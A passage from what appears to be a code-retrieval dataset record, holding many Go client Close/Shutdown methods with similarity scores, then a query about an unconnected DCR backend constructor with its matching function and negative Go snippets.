will cause the blocked getIO() in readReplies() to return.\n\tclient.Lock()\n\tclient.halting = true\n\tif client.connection.state == CONNECTED {\n\t\tclient.connection.state = INITIAL\n\t\tclient.connection.Close()\n\t}\n\tclient.Unlock()\n\n\t// Wait for the goroutines to return\n\tclient.goroutineWG.Wait()\n\tbucketstats.UnRegister(bucketStatsPkgName, client.GetStatsGroupName())\n}", "func (mock *CloudMock) Shutdown() {\n\tif err := mock.conn.Close(); err != nil {\n\t\tlog.Fatalf(\"failed to close connection: %s\", err)\n\t}\n\tmock.grpcServer.GracefulStop()\n}", "func (a *AppRPCClient) Close() {\n\ta.App.Client.Close()\n}", "func Close() {\n\tdefaultClient.Close()\n}", "func Stop() {\n\tclient.Close()\n\tclient = nil\n}", "func (rpc BitcoinRPC) Close() {\n\trpc.client.Close()\n}", "func (c *UserDatabaseClient) Shutdown() {\n\tlog.Info(\"Attempting to close the db connection thread pool\")\n\tif mgoClient != nil {\n\t\terr := mgoClient.Disconnect(context.Background())\n\t\tif err != nil {\n\t\t\tlog.Error(fmt.Sprintf(\"Failed to disconnect from the mongodb: %s\", err))\n\t\t\treturn\n\t\t}\n\t\tlog.Info(\"disconnected from mongodb successfully\")\n\t}\n}", "func (c *Client) Close() error {\n\tif c.cancel != nil {\n\t\tc.cancel()\n\t}\n\tif c.srv != nil {\n\t\treturn c.srv.Shutdown(context.Background())\n\t}\n\treturn nil\n}", "func (nr *NewRelicBackend) Close() error {\n\tnr.client.Shutdown(newRelicConnectionTimeout)\n\tlog.Printf(\"Disposed New Relic client\")\n\n\treturn nil\n}", "func (c *client) Close() error { return c.c.Close() }", "func (client *LDClient) Close() error {\n\tclient.loggers.Info(\"Closing LaunchDarkly client\")\n\n\t// Normally all of the following components exist; but they could be nil if we errored out\n\t// partway through the MakeCustomClient constructor, in which case we want to close whatever\n\t// did get created so far.\n\tif client.eventProcessor != nil {\n\t\t_ = client.eventProcessor.Close()\n\t}\n\tif client.dataSource != nil {\n\t\t_ = client.dataSource.Close()\n\t}\n\tif client.store != nil {\n\t\t_ = client.store.Close()\n\t}\n\tif client.dataSourceStatusBroadcaster != nil {\n\t\tclient.dataSourceStatusBroadcaster.Close()\n\t}\n\tif client.dataStoreStatusBroadcaster != nil {\n\t\tclient.dataStoreStatusBroadcaster.Close()\n\t}\n\tif client.flagChangeEventBroadcaster != nil {\n\t\tclient.flagChangeEventBroadcaster.Close()\n\t}\n\tif client.bigSegmentStoreStatusBroadcaster != nil {\n\t\tclient.bigSegmentStoreStatusBroadcaster.Close()\n\t}\n\tif client.bigSegmentStoreWrapper != nil {\n\t\tclient.bigSegmentStoreWrapper.Close()\n\t}\n\treturn nil\n}", "func TearDown(client *PerformanceClient, logger *logging.BaseLogger, names test.ResourceNames) {\n\tif client.E2EClients != nil && client.E2EClients.ServingClient != nil {\n\t\tclient.E2EClients.ServingClient.Delete([]string{names.Route}, []string{names.Config}, []string{names.Service})\n\t}\n\n\tif client.PromClient != nil {\n\t\tclient.PromClient.Teardown(logger)\n\t}\n}", "func (app *App) Stop() {\n\tapp.UnregisterAll(\"\")\n\tclose(app.shutdownCh)\n\tapp.wg.Wait()\n\tapp.Log.With(log.Fields{\"client_id\": app.Broker.ClientId}).Print(\"client stopped\")\n\tapp.Broker.Disconnect()\n\tapp.conn.Close()\n}", "func (clt *client) Close() {\n\t// Apply exclusive lock\n\tclt.apiLock.Lock()\n\n\t// Disable autoconnect and set status to disabled\n\tatomic.CompareAndSwapInt32(\n\t\t&clt.autoconnect,\n\t\tautoconnectEnabled,\n\t\tautoconnectDeactivated,\n\t)\n\n\tclt.close()\n\n\tclt.apiLock.Unlock()\n}", "func (c *RTUClient) Close() error {\n\treturn c.com.Close()\n}", "func (wc *WebClient) Quit() {\n\twc.running = false\n}", "func (c *client) Close() {\n\tc.exit <- 1\n}", "func (client *Client) Close() (err error) {\n\tif !client.connected {\n\t\treturn\n\t}\n\tid := client.ID\n\tif client.ID == \"\" {\n\t\tid = client.Name\n\t}\n\tif err = client.Agent().ServiceDeregister(id); err != nil {\n\t\treturn errors.Wrap(err, \"deregistering service\")\n\t}\n\treturn errors.Wrap(client.Close(), \"closing client\")\n}", "func (c *Client) Shutdown() error {\n\tif _, err := c.httpPost(\"system/shutdown\", \"\"); err != nil {\n\t\treturn maskAny(err)\n\t}\n\treturn nil\n}", "func (c *Client) Close() {\n\tc.Client.Close()\n\tif c.clientConfig != \"\" {\n\t\tos.Remove(c.clientConfig)\n\t}\n\tc.Server.Close()\n}", "func (l *Launcher) Down(configs services.Configs) error {\n\tl.m.Lock()\n\tdefer l.m.Unlock()\n\treturn l.client.Close()\n}", "func (c *Client) Close() error {\n\tc.client = nil\n\treturn nil\n}", "func (client *Client) Close() (err error) {\n\t// defer func() {\n\t// \tif e := recover(); e != nil {\n\t// \t\terr = fmt.Errorf(\"%v\", e)\n\t// \t}\n\t// }()\n\tC.Clear(client.api)\n\tC.Free(client.api)\n\tif client.pixImage != nil {\n\t\tC.DestroyPixImage(client.pixImage)\n\t\tclient.pixImage = nil\n\t}\n\treturn err\n}", "func (r *RedeemerClient) Stop() {\n\tclose(r.quit)\n\tr.conn.Close()\n}", "func (client *NpmClient) Stop() {\n\tlog.Infof(\"%s: stopping NPMClient..\", client.getAgentName())\n\tclient.Lock()\n\tclient.stopped = true\n\tclient.Unlock()\n\tclient.watchCancel()\n\tclient.waitGrp.Wait()\n\tlog.Infof(\"%s: stopping NPMClient complete.\", client.getAgentName())\n}", "func (tc *textileClient) Shutdown() error {\n\ttc.isRunning = false\n\tclose(tc.Ready)\n\tif err := tc.bucketsClient.Close(); err != nil {\n\t\treturn err\n\t}\n\n\tif err := tc.threads.Close(); err != nil {\n\t\treturn err\n\t}\n\n\ttc.bucketsClient = nil\n\ttc.threads = nil\n\n\treturn nil\n}", "func (c client) Close() {\n\tc.driver.Close()\n}", "func (client *gRPCVtctldClient) Close() error {\n\terr := client.cc.Close()\n\tif err == nil {\n\t\tclient.c = nil\n\t}\n\n\treturn err\n}", "func (a *defaultClientAuthenticator) Shutdown(ctx context.Context) error {\n\treturn a.ShutdownFunc(ctx)\n}", "func (a *Agent) Shutdown() error {\n\ta.shutdownLock.Lock()\n\tdefer a.shutdownLock.Unlock()\n\n\tif a.shutdown {\n\t\treturn nil\n\t}\n\n\ta.logger.Infof(\"requesting shutdown\")\n\tif a.client != nil {\n\t\tif err := a.client.Shutdown(); err != nil {\n\t\t\ta.logger.Errorf(\"client shutdown failed: %s\", err.Error())\n\t\t}\n\t}\n\n\ta.logger.Infof(\"agent shutdown complete\")\n\n\ta.shutdown = true\n\tclose(a.shutdownCh)\n\n\treturn nil\n}", "func (c *Client) Close() {}", "func (c *Client) Close() {}", "func (ec *ejabberdClient) Close() {\n\tlog.Warn(\"close client connection \", ec.getClientName(), \" from \", ec.opt.Host)\n\tec.checkConnTicker.Stop()\n}", "func (c *Client) Stop() {\n\tc.mu.Lock()\n\tdefer c.mu.Unlock()\n\tif !c.started {\n\t\treturn\n\t}\n\tc.started = false\n\tc.flushT.Stop()\n\tc.heartbeatT.Stop()\n\t// close request types have no body\n\tr := c.newRequest(RequestTypeAppClosing)\n\tc.scheduleSubmit(r)\n\tc.flush()\n}", "func (c *WSClient) Shutdown(ctx context.Context) error {\n\tclose(c.shutdown)\n\n\tselect {\n\tcase <-ctx.Done():\n\t\tc.conn.Close()\n\t\treturn errors.New(\"Failed to shutdown gracefully\")\n\tcase <-c.ok:\n\t\treturn nil\n\t}\n}", "func (c *client) Shutdown(ctx context.Context, goodbye bool) error {\n\tq := url.Values{}\n\tif goodbye {\n\t\tq.Set(\"mode\", \"goodbye\")\n\t}\n\turl := c.createURL(\"/shutdown\", q)\n\n\treq, err := http.NewRequest(\"POST\", url, nil)\n\tif err != nil {\n\t\treturn maskAny(err)\n\t}\n\tif ctx != nil {\n\t\treq = req.WithContext(ctx)\n\t}\n\tresp, err := c.client.Do(req)\n\tif err != nil {\n\t\treturn maskAny(err)\n\t}\n\tif err := c.handleResponse(resp, \"POST\", url, nil); err != nil {\n\t\treturn maskAny(err)\n\t}\n\n\treturn nil\n}", "func (t *SSHTester) Close() error {\n\treturn t.client.Close()\n}", "func (c *Client) Stop() {\n\t// mark stop\n\tc.stop = true\n\n\t// close conn\n\tif c.conn != nil {\n\t\tlogln(\"conn: shutting down\")\n\t\tc.conn.Close()\n\t}\n\n\t// shutdown TUN\n\tc.shutdownTUN()\n\n\t// close tun\n\tif c.device != nil {\n\t\tlogln(\"tun: shutting down\")\n\t\tc.device.Close()\n\t}\n}", "func (c *DHCPClient) Stop() {\n\tclose(c.stopChan)\n}", "func (ins *EC2RemoteClient) Close() error {\n\treturn ins.cmdClient.Close()\n}", "func (c *Client) Shutdown() error {\n\treturn c.boolCall(\"supervisor.shutdown\")\n}", "func (clt *Client) Exit() {\n\tclt.Lock()\n\tdefer clt.Unlock()\n\n\tclt.setReady(false)\n\tif clt.requestChan != nil {\n\t\t// Closing the request channel triggers all disconnections\n\t\tclose(clt.requestChan)\n\t\tclt.requestChan = nil\n\t}\n}", "func (self *Client) close() {\n\t// TODO: Cleanly close connection to remote\n}", "func (c *Client) Close() error {\n\tc.stop(false)\n\treturn nil\n}", "func (obj *Client) Stop(err error) {\n\tlog.Printf(\"error: %+v\", err)\n\tobj.Conn.Close()\n\tobj.SendAdminsAboutMe(dataKeys.KeyOffline)\n\tdelete(Clients, obj)\n\tlog.Printf(\"Clients len: %d\", len(Clients))\n\tobj.run <- \"Stop\"\n}", "func (c *Client) Close() error {\n\treturn nil\n}", "func (r *ReconciliationLoop) Shutdown() error {\n\tr.done <- true\n\n\tdefer func() {\n\t\terr := r.listener.Close()\n\t\tif err != nil {\n\t\t\tlog.Warnf(\"Cold not close the loop client: %v\", err)\n\t\t}\n\t}()\n\treturn nil\n}", "func (client *Client) Close() {\n\tclient.refreshPolicy.close()\n}", "func (b *Bitcoin) Close() {\n\tif b.Client != nil {\n\t\tb.Client.Shutdown()\n\t}\n}", "func (s *Stackdriver) Close() error {\n\treturn s.client.Close()\n}", "func (c *Client) Close() error {\n\tc.tunnel.Close()\n\treturn nil\n}", "func (fic *FakeClient) Close() {\n}", "func (c *NATSTestClient) Close() {\n\tc.mu.Lock()\n\tdefer c.mu.Unlock()\n\tif !c.connected {\n\t\treturn\n\t}\n\tclose(c.reqs)\n\tc.connected = false\n}", "func (instance *DSInstance) Close() {\n\tinstance.client.Close()\n}", "func (c *Client) Stop() error {\n\treturn c.grpcClient.Close()\n}", "func (c *Client) Stop() error {\n\treturn c.grpcClient.Close()\n}", "func (t *Client) Close() error { return nil }", "func (c *Client) Stop() {\n\tif c.clientStopChan == nil {\n\t\tpanic(\"gorpc.Client: the client must be started before stopping it\")\n\t}\n\tclose(c.clientStopChan)\n\tc.stopWg.Wait()\n\tc.clientStopChan = nil\n}", "func (c *Client) Stop() {\n\tif c.clientStopChan == nil {\n\t\tpanic(\"gorpc.Client: the client must be started before stopping it\")\n\t}\n\tclose(c.clientStopChan)\n\tc.stopWg.Wait()\n\tc.clientStopChan = nil\n}", "func (c *PumpsClient) Close() {\n\tlog.Info(\"is closing\", zap.String(\"category\", \"pumps client\"))\n\tc.cancel()\n\tc.wg.Wait()\n\tlog.Info(\"is closed\", zap.String(\"category\", \"pumps client\"))\n}", "func (bt *Netsamplebeat) Stop() {\n\terr := bt.client.Close()\n\tif err != nil {\n\t\tlogp.Warn(\"beat client close exited with error: %s\", err.Error())\n\t}\n\tclose(bt.done)\n}", "func closeClient() {\n\tfor id, _ := range lights {\n\t\thandleExpiredLight(lights[id].light)\n\t}\n\n\t_ = client.CloseSubscription(subscription)\n\t_ = client.Close()\n\n\tclient = nil\n\tsubscription = nil\n}", "func (c *connection) Close() {\n\tbaseurl := \"http://fritz.box/webservices/homeautoswitch.lua\"\n\tparameters := make(map[string]string)\n\tparameters[\"sid\"] = c.sid\n\tparameters[\"logout\"] = \"logout\"\n\tUrl := prepareRequest(baseurl, parameters)\n\tsendRequest(Url)\n}", "func (client *AMIClient) Close() {\n\tif client.loggedIn {\n\t\tclient.Action(\"Logoff\", nil, time.Second*3)\n\t}\n\tclient.connRaw.Close()\n}", "func (c *Client) Close() error {\n\tc.mu.Lock()\n\tfactories := c.pool\n\tc.pool = nil\n\tc.mu.Unlock()\n\n\tif factories == nil {\n\t\treturn nil\n\t}\n\n\tvar (\n\t\terrInfo []string\n\t\terr error\n\t)\n\n\tfor _, c := range factories {\n\t\twrapperCli, ok := c.(*WrapperClient)\n\t\tif !ok {\n\t\t\terrInfo = append(errInfo, \"failed to convert Factory interface to *WrapperClient\")\n\t\t\tcontinue\n\t\t}\n\n\t\tif err := wrapperCli.client.Close(); err != nil {\n\t\t\terrInfo = append(errInfo, err.Error())\n\t\t\tcontinue\n\t\t}\n\t}\n\n\tif len(errInfo) > 0 {\n\t\terr = fmt.Errorf(\"failed to close client pool: %s\", errInfo)\n\t}\n\treturn err\n}", "func (c *Client) Close() error {\n\tif c.rpc == nil {\n\t\treturn nil // Nothing to do\n\t}\n\n\treturn c.rpc.Close()\n}", "func (sc *SSHClient) Close() error {\n\treturn sc.client.Close()\n}", "func (c *Client) Close() {\n\t_, _ = c.Send(\"EXIT\")\n\tif c.connected {\n\t\tc.Socket.Close()\n\t}\n\tc.connected = false\n\treturn\n}", "func (pc *Client) Close() {\n\tpc.connected = false\n\tpc.connection.Close()\n}", "func (c *InfluxClient) Close() {\n\tc.Client.Close()\n\tc.connected = false\n}", "func (svc *Client) Close() {\n\tsvc.Conn.Disconnect()\n}", "func (client *RPCConnection) Disconnect() {\n\tif !client.isConnected {\n\t\tintegration.ReportTestSetupMalfunction(fmt.Errorf(\"%v is already disconnected\", client))\n\t}\n\tclient.isConnected = false\n\tclient.rpcClient.Disconnect()\n\tclient.rpcClient.Shutdown()\n}", "func (c *Client) Close() {\n\tif c.Torrent != nil {\n\t\tc.Torrent.Drop()\n\t}\n\tif c.TorrentClient != nil {\n\t\tc.TorrentClient.Close()\n\t}\n\tc.Started = false\n\tc.Downloading = false\n\tc.Progress = 0\n\tc.Uploaded = 0\n}", "func (c *WSClient) Stop() error {\n\t// only close user-facing channels when we can't write to them\n\tc.wg.Wait()\n\tclose(c.ResponsesCh)\n\treturn nil\n}", "func (cli *Client) Close() {\n\tcli.ref.Call(\"close\")\n\tcli.listener.Release()\n}", "func (c *cdcClient) shutdown(err error) {\n\tc.debug(\"shutdown call: %v\", err)\n\tdefer c.debug(\"shutdown return\")\n\tc.Lock()\n\tdefer c.Unlock()\n\tif c.stopped {\n\t\tc.debug(\"already stopped\")\n\t\treturn\n\t}\n\tif c.wsConn != nil {\n\t\tc.wsConn.Close()\n\t}\n\tc.err = err\n}", "func (s *SSHer) Close() error {\n\treturn s.client.Close()\n}", "func (c *client) close() {\n\tc.leave()\n\tc.Conn.Close()\n\tc.Message <- \"/quit\"\n}", "func (c *Client) Stop() {\n\tif c.com != nil {\n\t\tc.com.Stop()\n\t}\n\tc.sc.Stop()\n\tc.config.Stop()\n\tclose(c.outLow)\n\tclose(c.outMedium)\n\tclose(c.outHigh)\n\t// From here, shutdown is a little subtle:\n\t//\n\t// 1) At this point, the communicator is off, so nothing else should be\n\t// draining outbox. We do this ourselves and Ack everything so that the\n\t// RetryLoops are guaranteed to terminate.\n\t//\n\t// 2) The fake Acks in 1) are safe because the config manager is stopped.\n\t// This means that client services are shut down and the Acks will not be\n\t// reported outside of this process.\n\t//\n\t// 3) Then we close outUnsorted so that the SortLoop terminates.\n\tfor {\n\t\tselect {\n\t\tcase m := <-c.outbox:\n\t\t\tm.Ack()\n\t\tdefault:\n\t\t\tc.retryLoopsDone.Wait()\n\t\t\tclose(c.outUnsorted)\n\t\t\treturn\n\t\t}\n\t}\n}", "func (d *EtcdStateDriver) Deinit() {\n\td.Client.Close()\n}", "func (r *Client) Exit() {\n\tfmt.Fprint(r, \"exit\\n\")\n\tr.Close()\n}", "func (client *Client) Close(wait bool) error {\n\tif client.closed {\n\t\treturn nil\n\t}\n\tclose(client.stop)\n\tclient.closed = true\n\terr := client.tcpl.Close()\n\tif wait {\n\t\tclient.wgClose.Wait() // wait the active connection to finish\n\t}\n\treturn err\n}", "func (_m *RPCClient) Close() {\n\t_m.Called()\n}", "func (cl *brokerClient) Close() (err error) {\n\tcl.closeUplink()\n\tcl.closeDownlink()\n\treturn err\n}", "func (c *JSONRPCSignalClient) Close() error {\n\treturn c.jc.Close()\n}", "func Close() error {\n\tif defaultClient == nil {\n\t\treturn nil\n\t}\n\treturn defaultClient.Close()\n}", "func (c *Client) Quit() error {\n\tif err := c.hello(); err != nil {\n\t\treturn err\n\t}\n\t_, _, err := c.cmd(221, \"QUIT\")\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn c.Text.Close()\n}", "func (c *Client) Close() {\n\tclose(c.pool)\n}" ]
[ "0.73745936", "0.7225617", "0.6888644", "0.6780136", "0.6691157", "0.6640586", "0.65991086", "0.6483838", "0.6481786", "0.6470059", "0.64099854", "0.64051586", "0.631624", "0.630749", "0.62762594", "0.62662035", "0.62636566", "0.6249138", "0.6240536", "0.6239879", "0.6229705", "0.62221056", "0.6211958", "0.6207516", "0.62017787", "0.6174808", "0.6154808", "0.6148175", "0.6136803", "0.6129593", "0.6126839", "0.61101484", "0.61035836", "0.6101556", "0.6092357", "0.6087298", "0.6084935", "0.60732675", "0.6070054", "0.60693693", "0.6067255", "0.6055179", "0.6051971", "0.6051971", "0.6029049", "0.6017455", "0.6016134", "0.60144186", "0.6001823", "0.5995824", "0.59907633", "0.5989536", "0.598305", "0.59814626", "0.5969472", "0.5958194", "0.5956761", "0.59282106", "0.5908613", "0.59047234", "0.5904469", "0.5894951", "0.58932656", "0.5890063", "0.5889788", "0.5888991", "0.5882678", "0.5882678", "0.5882106", "0.5881913", "0.5881913", "0.58718777", "0.5866802", "0.5866144", "0.5864944", "0.5864749", "0.58646566", "0.58603585", "0.5857358", "0.5857279", "0.58522815", "0.58419776", "0.5839174", "0.5838097", "0.5834733", "0.58346367", "0.5821368", "0.58170056", "0.5815345", "0.5809054", "0.5808615", "0.5805209", "0.58016485", "0.580104", "0.5797324", "0.57949334", "0.5793943", "0.5793739", "0.57930815", "0.5791059" ]
0.6549619
7
unconnectedDCR returns a DCRBackend without a node. The node should be set before use.
func unconnectedDCR(ctx context.Context, logger dex.Logger) *DCRBackend { dcr := &DCRBackend{ ctx: ctx, blockChans: make([]chan uint32, 0), blockCache: newBlockCache(logger), anyQ: make(chan interface{}, 128), // way bigger than needed. log: logger, } go dcr.superQueue() return dcr }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "func NewBackend(ctx context.Context, configPath string, logger dex.Logger, network dex.Network) (*DCRBackend, error) {\n\t// loadConfig will set fields if defaults are used and set the chainParams\n\t// package variable.\n\tcfg, err := loadConfig(configPath, network)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tdcr := unconnectedDCR(ctx, logger)\n\tnotifications := &rpcclient.NotificationHandlers{\n\t\tOnBlockConnected: dcr.onBlockConnected,\n\t}\n\t// When the exported constructor is used, the node will be an\n\t// rpcclient.Client.\n\tdcr.client, err = connectNodeRPC(cfg.RPCListen, cfg.RPCUser, cfg.RPCPass,\n\t\tcfg.RPCCert, notifications)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\terr = dcr.client.NotifyBlocks()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error registering for block notifications\")\n\t}\n\tdcr.node = dcr.client\n\t// Prime the cache with the best block.\n\tbestHash, _, err := dcr.client.GetBestBlock()\n\tif err != nil {\n\t\treturn nil, fmt.Errorf(\"error getting best block from dcrd: %v\", err)\n\t}\n\tif bestHash != nil {\n\t\t_, err := dcr.getDcrBlock(bestHash)\n\t\tif err != nil {\n\t\t\treturn nil, fmt.Errorf(\"error priming the cache: %v\", err)\n\t\t}\n\t}\n\treturn dcr, nil\n}", "func unconnectedETH(logger dex.Logger, cfg *config) *Backend {\n\tctx, cancel := context.WithCancel(context.Background())\n\t// TODO: At some point multiple contracts will need to be used, at\n\t// least for transitory periods when updating the contract, and\n\t// possibly a random contract setup, and so this section will need to\n\t// change to support multiple contracts.\n\tvar contractAddr common.Address\n\tswitch cfg.network {\n\tcase dex.Simnet:\n\t\tcontractAddr = common.HexToAddress(simnetContractAddr)\n\tcase dex.Testnet:\n\t\tcontractAddr = common.HexToAddress(testnetContractAddr)\n\tcase dex.Mainnet:\n\t\tcontractAddr = common.HexToAddress(mainnetContractAddr)\n\t}\n\treturn &Backend{\n\t\trpcCtx: ctx,\n\t\tcancelRPCs: cancel,\n\t\tcfg: cfg,\n\t\tlog: logger,\n\t\tblockChans: make(map[chan *asset.BlockUpdate]struct{}),\n\t\tcontractAddr: contractAddr,\n\t\tinitTxSize: uint32(dexeth.InitGas(1, version)),\n\t}\n}", "func (vm *VM) Disconnected(id ids.ShortID) error {\n\treturn nil\n}", "func (s *eremeticScheduler) Disconnected(sched.SchedulerDriver) {\n\tlog.Debugf(\"Framework disconnected with master\")\n}", "func (b *Bootstrapper) Disconnected(nodeID ids.ShortID) error {\n\tif weight, ok := b.Beacons.GetWeight(nodeID); ok {\n\t\t// TODO: Account for weight changes in a more robust manner.\n\n\t\t// Sub64 should rarely error since only validators that have added their\n\t\t// weight can become disconnected. Because it is possible that there are\n\t\t// changes to the validators set, we utilize that Sub64 returns 0 on\n\t\t// error.\n\t\tb.weight, _ = math.Sub64(b.weight, weight)\n\t}\n\treturn nil\n}", "func unconnectedWallet(cfg *asset.WalletConfig, dcrCfg *Config, logger dex.Logger) *ExchangeWallet {\n\t// If set in the user config, the fallback fee will be in units of DCR/kB.\n\t// Convert to atoms/B.\n\tfallbackFeesPerByte := toAtoms(dcrCfg.FallbackFeeRate / 1000)\n\tif fallbackFeesPerByte == 0 {\n\t\tfallbackFeesPerByte = defaultFee\n\t}\n\tlogger.Tracef(\"Fallback fees set at %d atoms/byte\", fallbackFeesPerByte)\n\n\tredeemConfTarget := dcrCfg.RedeemConfTarget\n\tif redeemConfTarget == 0 {\n\t\tredeemConfTarget = defaultRedeemConfTarget\n\t}\n\tlogger.Tracef(\"Redeem conf target set to %d blocks\", redeemConfTarget)\n\n\treturn &ExchangeWallet{\n\t\tlog: logger,\n\t\tacct: cfg.Settings[\"account\"],\n\t\ttipChange: cfg.TipChange,\n\t\tfundingCoins: make(map[outPoint]*fundingCoin),\n\t\tfindRedemptionQueue: make(map[outPoint]*findRedemptionReq),\n\t\tfallbackFeeRate: fallbackFeesPerByte,\n\t\tredeemConfTarget: redeemConfTarget,\n\t\tuseSplitTx: dcrCfg.UseSplitTx,\n\t}\n}", "func (t *TableCache) Disconnected() {\n}", "func (k *KubernetesExecutor) Disconnected(driver bindings.ExecutorDriver) {\n\tif k.isDone() {\n\t\treturn\n\t}\n\tlog.Infof(\"Slave is disconnected\\n\")\n\tif !k.swapState(connectedState, disconnectedState) {\n\t\t//programming error?\n\t\tpanic(\"already disconnected?!\")\n\t}\n}", "func (k *KubernetesExecutor) Disconnected(driver bindings.ExecutorDriver) {\n\tif k.isDone() {\n\t\treturn\n\t}\n\tlog.Infof(\"Slave is disconnected\\n\")\n\tif !(&k.state).transition(connectedState, disconnectedState) {\n\t\tlog.Errorf(\"failed to disconnect/transition to a disconnected state\")\n\t}\n}", "func (er *EventRelay) Disconnected(err error) {\n\tlogger.Warnf(\"Disconnected: %s. Attempting to reconnect...\\n\", err)\n\n\ter.ehmutex.Lock()\n\tdefer er.ehmutex.Unlock()\n\n\ter.eventHub = nil\n\n\tgo er.connectEventHub()\n}", "func (shard *GRShard) disconnectedInstance() (*grInstance, error) {\n\tprimaryInstance := shard.findShardPrimaryTablet()\n\t// if there is no primary, we should recover from DiagnoseTypeWrongPrimaryTablet\n\tif primaryInstance == nil {\n\t\treturn nil, fmt.Errorf(\"%v does not have primary\", formatKeyspaceShard(shard.KeyspaceShard))\n\t}\n\t// Up to this check, we know:\n\t// - shard has an agreed group\n\t// - shard has a primary tablet\n\t// - shard primary tablet is running on the same node as mysql\n\trand.Shuffle(len(shard.instances), func(i, j int) {\n\t\tshard.instances[i], shard.instances[j] = shard.instances[j], shard.instances[i]\n\t})\n\tfor _, instance := range shard.instances {\n\t\t// Skip instance without hostname because they are not up and running\n\t\t// also skip instances that raised unrecoverable errors\n\t\tif shard.shardStatusCollector.isUnreachable(instance) {\n\t\t\tshard.logger.Infof(\"Skip %v to check disconnectedInstance because it is unhealthy\", instance.alias)\n\t\t\tcontinue\n\t\t}\n\t\tisUnconnected := shard.sqlGroup.IsUnconnectedReplica(instance.instanceKey)\n\t\tif isUnconnected {\n\t\t\treturn instance, nil\n\t\t}\n\t}\n\treturn nil, nil\n}", "func (k *KubernetesScheduler) Disconnected(driver mesos.SchedulerDriver) {\n\tlog.Infof(\"Master disconnected!\\n\")\n\tk.registered = false\n\n\tk.Lock()\n\tdefer k.Unlock()\n\n\t// discard all cached offers to avoid unnecessary TASK_LOST updates\n\tfor offerId := range k.offers {\n\t\tk.deleteOffer(offerId)\n\t}\n\n\t// TODO(jdef): it's possible that a task is pending, in between Schedule() and\n\t// Bind(), such that it's offer is now invalid. We should check for that and\n\t// clearing the offer from the task (along with a related check in Bind())\n}", "func (bn *BasicNotifiee) Disconnected(n net.Network, conn net.Conn) {\n\tglog.V(4).Infof(\"Notifiee - Disconnected. Local: %v - Remote: %v\", peer.IDHexEncode(conn.LocalPeer()), peer.IDHexEncode(conn.RemotePeer()))\n\tif bn.monitor != nil {\n\t\tbn.monitor.RemoveConn(peer.IDHexEncode(conn.LocalPeer()), peer.IDHexEncode(conn.RemotePeer()))\n\t}\n\tif bn.disconnectHandler != nil {\n\t\tbn.disconnectHandler(conn.RemotePeer())\n\t}\n}", "func NoOpBackendConnector(b Backend) BackendConnector {\n\treturn noOpConnectedBackend{backend: b}\n}", "func d3disconnectBranch(node *d3nodeT, index int) {\n\t// Remove element by swapping with the last element to prevent gaps in array\n\tnode.branch[index] = node.branch[node.count-1]\n\tnode.branch[node.count-1].data = nil\n\tnode.branch[node.count-1].child = nil\n\tnode.count--\n}", "func GetEmptyBackend() BackEnd {\n\treturn emptyBackEnd{}\n}", "func d10disconnectBranch(node *d10nodeT, index int) {\n\t// Remove element by swapping with the last element to prevent gaps in array\n\tnode.branch[index] = node.branch[node.count-1]\n\tnode.branch[node.count-1].data = nil\n\tnode.branch[node.count-1].child = nil\n\tnode.count--\n}", "func (tc *TorConn) unusedCircID() []byte {\n\tif tc.linkProtoVersion != 4 {\n\t\tpanic(\"unusedCircID: reimplement for other protocols by tor-spec.txt section 4.1\")\n\t}\n\tvar d [4]byte\n\tfor {\n\t\trand.Read(d[:])\n\t\td[0] |= (1 << 7) // protocol version 4: the node that initiated the connection sets the big-endian MSB to 1\n\t\tif _, used := tc.circuits[string(d[:])]; !used {\n\t\t\treturn d[:]\n\t\t}\n\t}\n}", "func (currentLabel *Label) removeNode(removeLabel *Label, g *Graph) uint16 {\n Assert(nilGraph, g != nil)\n Assert(nilLabelStore, g.labelStore != nil)\n Assert(nilLabel, removeLabel != nil)\n \n // make sure we haven't reached the end of the road\n if (currentLabel == nil) { // TODO should this cause an error?\n return uint16(0)\n }\n \n // this is the one we want\n if removeLabel.Id == currentLabel.Id {\n // remove this label\n cl, _ := currentLabel.left(g) // TODO do not ignore error\n cr, _ := currentLabel.right(g) // TODO do not ignore error\n \n if cl == nil && cr == nil { // no descendents\n return uint16(0)\n } else if cl == nil { // one descendent\n return cr.Id\n } else if cr == nil { // one descendent\n return cl.Id\n } else if cl.height() > cr.height() {\n // get the right most node of the left branch\n rLabel := cl.rightmostNode(g)\n rLabel.l = cl.removeNode(rLabel, g)\n rLabel.r = currentLabel.r\n g.labelStore.writes[rLabel.Id] = rLabel\n return rLabel.balance(g)\n } else {\n // get the left most node of the right branch\n lLabel := cr.leftmostNode(g)\n lLabel.r = cl.removeNode(lLabel, g)\n lLabel.l = currentLabel.l\n g.labelStore.writes[lLabel.Id] = lLabel\n return lLabel.balance(g)\n }\n \n // keep looking\n } else if removeLabel.Value(g) < currentLabel.Value(g) {\n left, _ := currentLabel.left(g) // TODO do not ignore error\n l := left.removeNode(removeLabel, g)\n if (l != currentLabel.l) {\n g.labelStore.writes[currentLabel.Id] = currentLabel\n }\n currentLabel.l = l\n } else {\n right, _ := currentLabel.right(g) // TODO do not ignore error\n r := right.removeNode(removeLabel, g)\n if (r != currentLabel.r) {\n g.labelStore.writes[currentLabel.Id] = currentLabel\n }\n currentLabel.r = r\n }\n \n return currentLabel.balance(g)\n \n}", "func rcNotReg(p *TCompiler, code *TCode) (*value.Value, error) {\n\tv := value.Not(p.regGet(code.A))\n\tp.regSet(code.A, v)\n\tp.moveNext()\n\treturn v, nil\n}", "func (m *ConnManager) DisConnected(k interface{}) {\n\tm.connections.Delete(k)\n\n\tatomic.AddInt32(m.Online, -1)\n}", "func (dn *DNode) getDnclient(clusterType, nodeUUID string) (tproto.DataNodeClient, error) {\n\t// if we already have a connection, just return it\n\teclient, ok := dn.rpcClients.Load(nodeUUID)\n\tif ok {\n\t\treturn tproto.NewDataNodeClient(eclient.(*rpckit.RPCClient).ClientConn), nil\n\t}\n\n\t// find the node\n\tcl := dn.watcher.GetCluster(clusterType)\n\tnode, err := cl.GetNode(nodeUUID)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\n\t// dial the connection\n\trclient, err := rpckit.NewRPCClient(fmt.Sprintf(\"datanode-%s\", dn.nodeUUID), node.NodeURL, rpckit.WithLoggerEnabled(false), rpckit.WithRemoteServerName(globals.Citadel))\n\tif err != nil {\n\t\tdn.logger.Errorf(\"Error connecting to rpc server %s. err: 